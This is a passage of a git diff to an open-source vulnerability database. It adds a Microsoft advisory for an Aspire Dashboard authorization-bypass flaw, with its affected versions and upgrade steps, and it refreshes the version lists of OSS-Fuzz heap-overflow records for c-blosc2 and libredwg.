network.","affected":[{"package":{"name":"Aspire.Dashboard.Sdk.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Aspire.Dashboard.Sdk.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["13.0.0","13.0.1","13.0.2","13.1.0","13.1.1","13.1.2","13.1.3","13.2.0","13.2.1","13.2.2","13.2.3","13.2.4","13.3.0","13.3.1","13.3.2","13.3.3","13.3.4","13.3.5","13.4.0","13.4.1","13.4.2","13.4.3","13.4.4","13.4.5","13.4.6","13.5.0","13.5.1","13.5.2","13.5.3","13.5.4","13.6.0","13.6.1","13.6.2","13.6.3","13.6.4","13.6.5","8.0.0","8.0.1","8.0.2","8.1.0","8.2.0","8.2.1","8.2.2","9.0.0","9.1.0","9.2.0","9.2.1","9.3.0","9.3.1","9.4.0","9.4.1","9.4.2","9.5.0","9.5.1","9.5.2"],"database_specific":{"last_known_affected_version_range":"< 13.6.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-2f3w-v7f5-vpgx/GHSA-2f3w-v7f5-vpgx.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118740"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-118740"}],"database_specific":{"cwe_ids":["CWE-862"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T17:17:35Z","nvd_published_at":"2026-11-10T19:19:50Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}]} \ No newline at end of file diff --git a/data/NuGet/GHSA-4g86-54fm-h9h8.json b/data/NuGet/GHSA-4g86-54fm-h9h8.json new file mode 100644 index 0000000000..2fda95a827 --- /dev/null +++ b/data/NuGet/GHSA-4g86-54fm-h9h8.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-4g86-54fm-h9h8","published":"2026-11-12T17:17:48Z","modified":"2026-11-12T17:30:43.016211419Z","aliases":["CVE-2026-118740"],"summary":"Microsoft Security Advisory CVE-2026-118740 - Aspire Security Feature Bypass Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in Aspire. This advisory provides guidance on updating affected applications and components.\n\nAspire Dashboard's unauthenticated NotFound route can permit telemetry deletion in both standalone and AppHost-hosted deployments. In standalone deployments using browser-token authentication, it can also expose the browser token.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/526\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** Critical\n- **Score:** 9.1\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`\n- **Weakness:** CWE-862\n\n## Affected Platforms\n\n- **Platforms:** Any supported OS\n- **Architectures:** x64, Arm64\n\n## Affected Packages\n\n### Standalone Aspire Dashboard\n\nPackage | Affected version | Patched version\n--- | --- | ---\nAspire Dashboard | < 13.6.5 | 13.6.5\n\nBoth 13.6.3 and 13.6.4 contain the unauthenticated NotFound route.\n\n### Aspire Dashboard SDK packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Aspire.Dashboard.Sdk.linux-x64](https://www.nuget.org/packages/Aspire.Dashboard.Sdk.linux-x64) | < 13.6.5 | 13.6.5\n[Aspire.Dashboard.Sdk.linux-arm64](https://www.nuget.org/packages/Aspire.Dashboard.Sdk.linux-arm64) | < 13.6.5 | 13.6.5\n[Aspire.Dashboard.Sdk.linux-musl-x64](https://www.nuget.org/packages/Aspire.Dashboard.Sdk.linux-musl-x64) | < 13.6.5 | 13.6.5\n[Aspire.Dashboard.Sdk.osx-x64](https://www.nuget.org/packages/Aspire.Dashboard.Sdk.osx-x64) | < 13.6.5 | 13.6.5\n[Aspire.Dashboard.Sdk.osx-arm64](https://www.nuget.org/packages/Aspire.Dashboard.Sdk.osx-arm64) | < 13.6.5 | 13.6.5\n[Aspire.Dashboard.Sdk.win-x64](https://www.nuget.org/packages/Aspire.Dashboard.Sdk.win-x64) | < 13.6.5 | 13.6.5\n[Aspire.Dashboard.Sdk.win-arm64](https://www.nuget.org/packages/Aspire.Dashboard.Sdk.win-arm64) | < 13.6.5 | 13.6.5\n\n## Advisory FAQ\n\n### How do I know if I am affected?\n\nAspire Dashboard releases through 13.6.4 are affected, whether deployed independently or launched by an Aspire AppHost. For an AppHost using Dashboard SDK packages, check the resolved Aspire.Dashboard.Sdk package versions against the affected ranges above. If the AppHost selects a CLI-bundled Dashboard or a custom Dashboard path, check the version of that Dashboard instead. Aspire ships independently of .NET; installing a .NET runtime or SDK update does not replace the Dashboard.\n\n### How do I fix the issue?\n\nUpdate Aspire Dashboard to version 13.6.5 or later. Neither 13.6.3 nor 13.6.4 is a fixed upgrade target.\n\nFor container deployments, explicitly set the Dashboard image to `mcr.microsoft.com/aspire/dashboard:13.6.5` and recreate or redeploy the container. Replace older version tags and nightly image references, including those in generated Docker Compose or Kubernetes manifests, with this fixed stable image. Updating AppHost package references alone does not replace an image reference in an existing deployment manifest.\n\nFor an AppHost using Dashboard SDK packages, update any explicit Aspire.Hosting.AppHost version, including a central package version, to 13.6.5 or later. If that reference is supplied implicitly by Aspire.AppHost.Sdk, update the SDK reference to 13.6.5 or later instead. Restore and rebuild the AppHost, verify that its resolved Aspire.Dashboard.Sdk packages are 13.6.5 or later, and restart the AppHost to run the updated Dashboard.\n\nIf your AppHost selects a CLI-bundled Dashboard or a custom Dashboard path, update the Dashboard in that selected bundle or location to 13.6.5 or later and restart the AppHost. Updating AppHost package references alone does not replace that Dashboard.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue in the Aspire repository at https://github.com/microsoft/aspire. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-118740](https://www.cve.org/CVERecord?id=CVE-2026-118740)\n\n### Acknowledgements\n\n- Weeraphat Srisutham\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Aspire.Dashboard.Sdk.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Aspire.Dashboard.Sdk.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.6.5"}]}],"versions":["13.0.0","13.0.1","13.0.2","13.1.0","13.1.1","13.1.2","13.1.3","13.2.0","13.2.1","13.2.2","13.2.3","13.2.4","13.3.0","13.3.1","13.3.2","13.3.3","13.3.4","13.3.5","13.4.0","13.4.1","13.4.2","13.4.3","13.4.4","13.4.5","13.4.6","13.5.0","13.5.1","13.5.2","13.5.3","13.5.4","13.6.0","13.6.1","13.6.2","13.6.3","13.6.4","8.0.0","8.0.1","8.0.2","8.1.0","8.2.0","8.2.1","8.2.2","9.0.0","9.1.0","9.2.0","9.2.1","9.3.0","9.3.1","9.4.0","9.4.1","9.4.2","9.5.0","9.5.1","9.5.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-4g86-54fm-h9h8/GHSA-4g86-54fm-h9h8.json"}},{"package":{"name":"Aspire.Dashboard.Sdk.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Aspire.Dashboard.Sdk.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.6.5"}]}],"versions":["13.0.0","13.0.1","13.0.2","13.1.0","13.1.1","13.1.2","13.1.3","13.2.0","13.2.1","13.2.2","13.2.3","13.2.4","13.3.0","13.3.1","13.3.2","13.3.3","13.3.4","13.3.5","13.4.0","13.4.1","13.4.2","13.4.3","13.4.4","13.4.5","13.4.6","13.5.0","13.5.1","13.5.2","13.5.3","13.5.4","13.6.0","13.6.1","13.6.2","13.6.3","13.6.4","8.0.0","8.0.1","8.0.2","8.1.0","8.2.0","8.2.1","8.2.2","9.0.0","9.1.0","9.2.0","9.2.1","9.3.0","9.3.1","9.4.0","9.4.1","9.4.2","9.5.0","9.5.1","9.5.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-4g86-54fm-h9h8/GHSA-4g86-54fm-h9h8.json"}},{"package":{"name":"Aspire.Dashboard.Sdk.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Aspire.Dashboard.Sdk.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.6.5"}]}],"versions":["13.0.0","13.0.1","13.0.2","13.1.0","13.1.1","13.1.2","13.1.3","13.2.0","13.2.1","13.2.2","13.2.3","13.2.4","13.3.0","13.3.1","13.3.2","13.3.3","13.3.4","13.3.5","13.4.0","13.4.1","13.4.2","13.4.3","13.4.4","13.4.5","13.4.6","13.5.0","13.5.1","13.5.2","13.5.3","13.5.4","13.6.0","13.6.1","13.6.2","13.6.3","13.6.4","9.4.0","9.4.1","9.4.2","9.5.0","9.5.1","9.5.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-4g86-54fm-h9h8/GHSA-4g86-54fm-h9h8.json"}},{"package":{"name":"Aspire.Dashboard.Sdk.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Aspire.Dashboard.Sdk.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.6.5"}]}],"versions":["13.0.0","13.0.1","13.0.2","13.1.0","13.1.1","13.1.2","13.1.3","13.2.0","13.2.1","13.2.2","13.2.3","13.2.4","13.3.0","13.3.1","13.3.2","13.3.3","13.3.4","13.3.5","13.4.0","13.4.1","13.4.2","13.4.3","13.4.4","13.4.5","13.4.6","13.5.0","13.5.1","13.5.2","13.5.3","13.5.4","13.6.0","13.6.1","13.6.2","13.6.3","13.6.4","8.0.0","8.0.1","8.0.2","8.1.0","8.2.0","8.2.1","8.2.2","9.0.0","9.1.0","9.2.0","9.2.1","9.3.0","9.3.1","9.4.0","9.4.1","9.4.2","9.5.0","9.5.1","9.5.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-4g86-54fm-h9h8/GHSA-4g86-54fm-h9h8.json"}},{"package":{"name":"Aspire.Dashboard.Sdk.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Aspire.Dashboard.Sdk.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.6.5"}]}],"versions":["13.0.0","13.0.1","13.0.2","13.1.0","13.1.1","13.1.2","13.1.3","13.2.0","13.2.1","13.2.2","13.2.3","13.2.4","13.3.0","13.3.1","13.3.2","13.3.3","13.3.4","13.3.5","13.4.0","13.4.1","13.4.2","13.4.3","13.4.4","13.4.5","13.4.6","13.5.0","13.5.1","13.5.2","13.5.3","13.5.4","13.6.0","13.6.1","13.6.2","13.6.3","13.6.4","8.0.0","8.0.1","8.0.2","8.1.0","8.2.0","8.2.1","8.2.2","9.0.0","9.1.0","9.2.0","9.2.1","9.3.0","9.3.1","9.4.0","9.4.1","9.4.2","9.5.0","9.5.1","9.5.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-4g86-54fm-h9h8/GHSA-4g86-54fm-h9h8.json"}},{"package":{"name":"Aspire.Dashboard.Sdk.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Aspire.Dashboard.Sdk.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.6.5"}]}],"versions":["13.0.0","13.0.1","13.0.2","13.1.0","13.1.1","13.1.2","13.1.3","13.2.0","13.2.1","13.2.2","13.2.3","13.2.4","13.3.0","13.3.1","13.3.2","13.3.3","13.3.4","13.3.5","13.4.0","13.4.1","13.4.2","13.4.3","13.4.4","13.4.5","13.4.6","13.5.0","13.5.1","13.5.2","13.5.3","13.5.4","13.6.0","13.6.1","13.6.2","13.6.3","13.6.4","8.0.0","8.0.1","8.0.2","8.1.0","8.2.0","8.2.1","8.2.2","9.0.0","9.1.0","9.2.0","9.2.1","9.3.0","9.3.1","9.4.0","9.4.1","9.4.2","9.5.0","9.5.1","9.5.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-4g86-54fm-h9h8/GHSA-4g86-54fm-h9h8.json"}},{"package":{"name":"Aspire.Dashboard.Sdk.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Aspire.Dashboard.Sdk.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.6.5"}]}],"versions":["13.0.0","13.0.1","13.0.2","13.1.0","13.1.1","13.1.2","13.1.3","13.2.0","13.2.1","13.2.2","13.2.3","13.2.4","13.3.0","13.3.1","13.3.2","13.3.3","13.3.4","13.3.5","13.4.0","13.4.1","13.4.2","13.4.3","13.4.4","13.4.5","13.4.6","13.5.0","13.5.1","13.5.2","13.5.3","13.5.4","13.6.0","13.6.1","13.6.2","13.6.3","13.6.4","8.0.0","8.0.1","8.0.2","8.1.0","8.2.0","8.2.1","8.2.2","9.0.0","9.1.0","9.2.0","9.2.1","9.3.0","9.3.1","9.4.0","9.4.1","9.4.2","9.5.0","9.5.1","9.5.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-4g86-54fm-h9h8/GHSA-4g86-54fm-h9h8.json"}}],"references":[{"type":"WEB","url":"https://github.com/microsoft/aspire/security/advisories/GHSA-4g86-54fm-h9h8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118740"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/526"},{"type":"WEB","url":"https://github.com/microsoft/aspire/issues/22148"},{"type":"WEB","url":"https://github.com/microsoft/aspire/commit/0b6bfe2f538d4eed8a9ae7e11651c09dbbe886b8"},{"type":"PACKAGE","url":"https://github.com/microsoft/aspire"},{"type":"WEB","url":"https://github.com/microsoft/aspire/releases/tag/v13.6.5"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-118740"}],"database_specific":{"cwe_ids":["CWE-862"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T17:17:48Z","nvd_published_at":null,"severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2021-1070.json b/data/OSS-Fuzz/OSV-2021-1070.json index bea1cb8c33..79e6d04af1 100644 --- a/data/OSS-Fuzz/OSV-2021-1070.json +++ b/data/OSS-Fuzz/OSV-2021-1070.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2021-1070","published":"2021-07-29T00:01:10.187569Z","modified":"2026-11-11T14:30:03.340554694Z","summary":"Heap-buffer-overflow in ZSTD_decompressBlock_internal","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=36623\n\n```\nCrash type: Heap-buffer-overflow READ 4\nCrash state:\nZSTD_decompressBlock_internal\nZSTD_decompressMultiFrame\nZSTD_decompressDCtx\n```\n","affected":[{"package":{"name":"c-blosc2","ecosystem":"OSS-Fuzz","purl":"pkg:generic/c-blosc2"},"ranges":[{"type":"GIT","repo":"https://github.com/Blosc/c-blosc2.git","events":[{"introduced":"861ba79f31393dec0a0782ca11cf32cebb6f6610"}]}],"versions":["v2.0.0","v2.0.0-rc2","v2.0.0.rc1","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.1.0","v2.1.1","v2.2.0","v2.3.0","v2.3.1","v2.4.0","v2.4.1","v2.4.2","v2.4.3","v2.5.0","v2.6.0","v2.6.1","v2.7.0","v2.7.1","v2.8.0","v2.9.0","v2.9.1","v2.9.2","v2.9.3","v2.10.0","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.10.5","v2.11.0","v2.11.1","v2.11.2","v2.11.3","v2.12.0","v2.13.0","v2.13.1","v2.13.2","v2.14.0","v2.14.1","v2.14.2","v2.14.3","v2.14.4","v2.15.0","v2.15.1","v2.15.2","v2.16.0","v2.17.0","v2.17.1","v2.18.0","v2.19.0","v2.19.1","v2.20.0","v2.21.0","v2.21.1","v2.21.2","v2.21.3","v2.22.0","v2.23.0","v2.23.1","v3.0.0.rc1","v3.0.0.rc2","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.3.0","v3.3.1","v3.3.2","v3.3.3","v3.3.4","v3.3.5","v3.4.0","v3.4.1","v3.5.0","v3.6.0","v3.6.1"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/c-blosc2/OSV-2021-1070.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=36623"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2021-1070","published":"2021-07-29T00:01:10.187569Z","modified":"2026-11-12T14:30:06.030965700Z","summary":"Heap-buffer-overflow in ZSTD_decompressBlock_internal","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=36623\n\n```\nCrash type: Heap-buffer-overflow READ 4\nCrash state:\nZSTD_decompressBlock_internal\nZSTD_decompressMultiFrame\nZSTD_decompressDCtx\n```\n","affected":[{"package":{"name":"c-blosc2","ecosystem":"OSS-Fuzz","purl":"pkg:generic/c-blosc2"},"ranges":[{"type":"GIT","repo":"https://github.com/Blosc/c-blosc2.git","events":[{"introduced":"861ba79f31393dec0a0782ca11cf32cebb6f6610"}]}],"versions":["v2.0.0","v2.0.0-rc2","v2.0.0.rc1","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.1.0","v2.1.1","v2.2.0","v2.3.0","v2.3.1","v2.4.0","v2.4.1","v2.4.2","v2.4.3","v2.5.0","v2.6.0","v2.6.1","v2.7.0","v2.7.1","v2.8.0","v2.9.0","v2.9.1","v2.9.2","v2.9.3","v2.10.0","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.10.5","v2.11.0","v2.11.1","v2.11.2","v2.11.3","v2.12.0","v2.13.0","v2.13.1","v2.13.2","v2.14.0","v2.14.1","v2.14.2","v2.14.3","v2.14.4","v2.15.0","v2.15.1","v2.15.2","v2.16.0","v2.17.0","v2.17.1","v2.18.0","v2.19.0","v2.19.1","v2.20.0","v2.21.0","v2.21.1","v2.21.2","v2.21.3","v2.22.0","v2.23.0","v2.23.1","v3.0.0.rc1","v3.0.0.rc2","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.3.0","v3.3.1","v3.3.2","v3.3.3","v3.3.4","v3.3.5","v3.4.0","v3.4.1","v3.5.0","v3.6.0","v3.6.1","v3.6.2"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/c-blosc2/OSV-2021-1070.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=36623"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2021-1086.json b/data/OSS-Fuzz/OSV-2021-1086.json index cdba31bbc0..ecbfbe766b 100644 --- a/data/OSS-Fuzz/OSV-2021-1086.json +++ b/data/OSS-Fuzz/OSV-2021-1086.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2021-1086","published":"2021-08-02T00:00:31.888461Z","modified":"2026-11-11T14:30:03.211606649Z","summary":"Heap-buffer-overflow in dwg_convert_SAB_to_SAT1","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=36728\n\n```\nCrash type: Heap-buffer-overflow READ 2\nCrash state:\ndwg_convert_SAB_to_SAT1\ndxf_3dsolid\ndwg_dxf_REGION_private\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"629cbbdcebd7f5751ddb72eacf8f3e1a5b854e2b"}]}],"versions":["0.12.3.4264","0.12.3.4267","0.12.3.4270","0.12.3.4273","0.12.3.4280","0.12.4","0.12.4.4288","0.12.4.4296","0.12.4.4298","0.12.4.4300","0.12.4.4302","0.12.4.4307","0.12.4.4313","0.12.4.4317","0.12.4.4321","0.12.4.4324","0.12.4.4331","0.12.4.4338","0.12.4.4343","0.12.4.4348","0.12.4.4362","0.12.4.4364","0.12.4.4367","0.12.4.4287","0.12.4.4368","0.12.4.4375","0.12.4.4378","0.12.4.4382","0.12.4.4384","0.12.4.4387","0.12.4.4390","0.12.4.4393","0.12.5-pre","0.12.4.4395","0.12.4.4398","0.12.4.4399","0.12.4.4400","0.12.4.4402","0.12.5","0.12.4.4403","0.12.4.4404","0.12.4.4409","0.12.4.4415","0.12.4.4420","0.12.4.4423","0.12.4.4425","0.12.4.4430","0.12.4.4437","0.12.4.4442","0.12.4.4444","0.12.4.4462","0.12.4.4466","0.12.4.4467","0.12.4.4475","0.12.4.4487","0.12.4.4491","0.12.4.4492","0.12.4.4494","0.12.4.4497","0.12.4.4507","0.12.4.4515","0.12.4.4517","0.12.4.4522","0.12.4.4527","0.12.4.4530","0.12.4.4533","0.12.4.4535","0.12.4.4542","0.12.4.4544","0.12.4.4545","0.12.4.4548","0.12.4.4550","0.12.4.4553","0.12.4.4566","0.12.4.4567","0.12.4.4572","0.12.4.4583","0.12.4.4590","0.12.4.4598","0.12.4.4601","0.12.4.4606","0.12.4.4607","0.12.4.4608","0.12.4.4613","0.12.4.4615","0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12